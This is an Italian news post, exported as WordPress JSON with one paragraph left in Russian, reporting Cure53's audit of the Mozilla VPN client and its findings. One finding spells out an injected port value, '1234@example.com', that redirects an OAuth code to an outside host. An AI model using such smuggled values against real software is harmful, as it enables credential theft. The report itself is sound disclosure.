{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Pubblicati i risultati dell'audit del client VPN di Mozilla","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Mozilla ha annunciato il completamento di un audit indipendente del software client per la connessione al servizio Mozilla VPN. Durante l'audit, \u00e8 stata eseguita un'analisi dell'applicazione client isolata, sviluppata utilizzando la libreria Qt e fornita per Linux, macOS, Windows, Android e iOS. Mozilla VPN \u00e8 supportato da oltre 400 server del fornitore svedese di VPN Mullvad, situati in oltre 30 paesi. La connessione al VPN<\/a>-servizio avviene tramite il protocollo WireGuard. <\/p>\n

\u0410\u0443\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Cure53, \u0432 \u0441\u0432\u043e\u0451 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0432\u0448\u0435\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 NTPsec, SecureDrop, Cryptocat, F-Droid \u0438 Dovecot. \u0410\u0443\u0434\u0438\u0442 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0442\u0435\u0441\u0442\u043e\u0432 \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0435\u0439 \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u0441\u044c). \u0412 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 16 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e, 8 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043c\u0435\u043b\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, 5 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0443\u043c — \u0441\u0440\u0435\u0434\u043d\u0438\u0439, \u0430 \u043e\u0434\u043d\u043e\u0439 — \u0432\u044b\u0441\u043e\u043a\u0438\u0439. <\/p>\n

Tuttavia, solo un problema con un livello di rischio medio \u00e8 stato classificato come vulnerabilit\u00e0, poich\u00e9 solo esso era sfruttabile. Questo problema portava a una perdita di informazioni sull'uso del VPN nel codice per l'identificazione del captive portal, a causa dell'invio di richieste dirette non crittografate via HTTP, trasmesse al di fuori del tunnel VPN e rivelando l'indirizzo IP principale dell'utente nel caso in cui un attaccante possa controllare il traffico di transito. Il problema si risolve disattivando la modalit\u00e0 di rilevamento del captive portal nelle impostazioni. <\/p>\n

Il secondo problema di livello di pericolo medio è legato all'assenza di una corretta pulizia dei valori non numerici nel numero di porta, il che consente di organizzare una fuga dei parametri di autenticazione OAuth tramite la sostituzione del numero di porta con una stringa del tipo «1234@example.com», che porterà all'installazione di un tag <img src="»http:\/\/127.0.0.1:1234@example.com\/?code=…»" alt="»»">, che si riferisce a example.com anziché a 127.0.0.1. <\/p>\n

Il terzo problema, contrassegnato come pericoloso, consente a qualsiasi applicazione locale di accedere al client VPN tramite WebSocket legato a localhost, senza autenticazione. Come esempio, \u00e8 mostrato come, con il client VPN attivo, qualsiasi sito potesse organizzare la creazione e l'invio di uno screenshot attraverso la generazione dell'evento screen_capture. Questo problema non \u00e8 stato classificato come vulnerabilit\u00e0, poich\u00e9 il WebSocket era utilizzato solo nelle build di test interne e l'uso di questo canale di comunicazione era previsto per un futuro coinvolgimento con un'estensione del browser.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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Durante l'audit \u00e8 stata analizzata l'applicazione client separata, scritta utilizzando la libreria Qt, e fornita per Linux, macOS, Windows, Android e iOS. Il servizio Mozilla VPN \u00e8 supportato da oltre 400 server del provider VPN svedese Mullvad, situati in pi\u00f9 di 30 paesi. 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